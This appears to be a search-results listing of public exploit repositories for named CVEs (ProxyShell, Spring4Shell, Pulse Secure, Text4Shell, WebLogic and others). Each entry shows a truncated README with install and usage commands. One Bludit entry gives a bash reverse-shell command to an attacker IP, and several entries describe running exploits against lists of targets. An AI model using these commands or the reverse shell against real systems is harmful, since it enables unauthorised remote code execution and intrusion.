635 matches found
CVE-2021-44132
CVE-2021-44132 This script exploits a vulnerability in the OMCISHELL object for C-DATA proprietary routers such as BESTCOM...
ProxyShell
ProxyShell Install git clone https://github.com/ktecv2000/ProxyShell cd ProxyShell virtualenv -p $which python3 venv source venv/bin/activate pip3 install pypsrp cp wsman.py venv/lib//site-packages/pypsrp/wsman.py Usage python3 exploit.py...
CVE-2022-22965-poc
CVE-2022-22965 poc CVE-2022-22965 poc including reverse-shell and password support. Feel free to add more stuff : How to test? $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py...
CVE-2023-34960
ChamiloCVE-2023-34960-EXP Help: usage: CVE-2023-34960.py -h -u URL -f FILE -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Full URL address http/https -f FILE, --file FILE Batch URL file -c COMMAND, --command COMMAND Execute command, optional Examples: Single URL...
CVE-2019-11510
CVE-2019-11510 Exploit for Arbitrary File Read on Pulse Secure SSL VPN CVE-2019-11510 You can use a single domain, either a list of domains. You must include https:// in front of the domain. Usage : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/ If...
CVE-2019-16113
CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...
CVE-2019-14271_Exploit
CVE-2019-14271Exploit A convenient and time-saving auto script of building environment and exploit it. References https://github.com/Metarget/metarget https://github.com/Metarget/metarget/tree/master/writeupscnv/docker-cve-2019-14271...
CVE-2024-23692-EXP
CVE-2024-23692-EXP bash CVE-2024-23692.sh Nuclei nuclei -list target.txt -t CVE-2024-23692.yaml -o CVE-2024-23692-result.txt...
CVE-2023-22518
CVE-2023-22518 Exploit Description This repository contains an exploit script for CVE-2023-22518. The script allows for unauthorized file uploads, potentially leading to remote code execution or other security vulnerabilities. Disclaimer This repository is for educational and informational purpos...
CVE-2022-42889-text4shell
CVE-2022-42889-text4shell Description This script is a penetration testing tool designed to exploit the CVE-2022-42889 vulnerability, also known as Text4Shell, within Apache Commons Text versions -param $PARAMETER -L $LHOST -P $LPORT Example python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/...
CVE-2024-23692-RCE-in-Rejetto-HFS
Unauthenticated RCE Flaw in Rejetto HTTP File Server CVE-2024-23692 - exploit code CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server HFS version 2.3m, allowing unauthenticated remote code execution RCE. This flaw enables attackers to execute arbitrary code on the server, posi...
CVE-2019-12840-NodeJs-Exploit
CVE-2019-12840 sudo node exploit.js...
CVE-2020-7961
CVE-2020-7961 Exploit script for CVE-2020-7961 Unauthenticated Remote code execution via JSONWS References & inspirations original blogpost : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html synacktiv blogpost :...
CVE-2024-21413
CVE-2024-21413 Microsoft Outlook Remote Code Execution Vulnerability https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21413 python3 CVE-2024-21413.py -u [email protected] -p password -d [email protected] -s mail.example.com -i -u sender email address -p sender password -d...
CVE-2018-7600
CVE-2018-7600 python3 exploit.py...
AutoHoneyPoC
AutoHoneyPoC AutoPoC Generator HoneyPoC ultimate edition. If this is the first time you've heard of or seen the project, you'll want to read the blog post. https://blog.zsec.uk/honeypoc-ultimate/ While I'm releasing AutoPoC, the framework on its own is harmless as it requires some pre-requisites ...
Dompdf-Exploit-RCE
Dompdf-Exploit-RCE An exploit script for CVE-2022-28368 designed to make exploitation less annoying, made for a HTB machine Made to make the exploit less tedious and annoying...
CVE-2017-10271
weblogicwlswsatrce Weblogic wls-wsat component deserialization vulnerability CVE-2017-10271 exploit script, modified fromhttps://github.com/s3xy/CVE-2017-10271. Command execution with echo output Direct shell upload Tested on Linux with weblogic 10.3.6.0 OK Usage and Parameters python...
CVE-2019-7609-KibanaRCE
CVE-2019-7609-KibanaRCE Minor changes were made to the CVE to make it compatible with Python 3. cve-modific.py Here are the modifications: In the getkibanaversion function, the line match = re.findallpattern, r.content was updated to match = re.findallpattern, r.text. This change was made to use...